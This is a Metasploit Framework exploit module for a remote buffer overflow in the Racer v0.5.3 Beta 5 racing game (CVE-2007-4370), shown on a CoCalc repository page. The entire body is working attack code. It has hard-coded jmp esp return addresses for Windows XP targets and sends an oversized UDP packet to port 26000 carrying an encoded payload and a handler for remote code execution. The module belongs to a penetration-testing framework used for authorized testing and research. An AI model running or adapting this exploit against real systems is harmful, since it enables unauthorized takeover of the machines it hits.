CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/games/racer_503beta5.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Racer v0.5.3 Beta 5 Buffer Overflow',
14
'Description' => %q{
15
This module exploits the Racer Car and Racing Simulator game
16
versions v0.5.3 beta 5 and earlier. Both the client and server listen
17
on UDP port 26000. By sending an overly long buffer we are able to
18
execute arbitrary code remotely.
19
},
20
'Author' => [ 'Trancek <trancek[at]yashira.org>' ],
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
[ 'CVE', '2007-4370' ],
25
[ 'OSVDB', '39601' ],
26
[ 'EDB', '4283' ],
27
[ 'BID', '25297' ],
28
],
29
'Payload' =>
30
{
31
'Space' => 1000,
32
'BadChars' => "\x5c\x00",
33
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
34
},
35
'DefaultOptions' =>
36
{
37
'AllowWin32SEH' => true
38
},
39
'Platform' => 'win',
40
'Targets' =>
41
[
42
# Tested ok aushack 20090503
43
[ 'Fmodex.dll - Universal', { 'Ret' => 0x10073FB7 } ], # jmp esp
44
[ 'Win XP SP2 English', { 'Ret' => 0x77d8af0a } ],
45
[ 'Win XP SP2 Spanish', { 'Ret' => 0x7c951eed } ],
46
],
47
'DisclosureDate' => '2008-08-10',
48
'DefaultTarget' => 0))
49
50
register_options(
51
[
52
Opt::RPORT(26000)
53
])
54
end
55
56
def exploit
57
connect_udp
58
59
buf = Rex::Text.rand_text_alphanumeric(1001)
60
buf << [target.ret].pack('V')
61
buf << payload.encoded
62
buf << Rex::Text.rand_text_alphanumeric(1196 - payload.encoded.length)
63
64
udp_sock.put(buf)
65
66
handler
67
disconnect_udp
68
end
69
end
70
71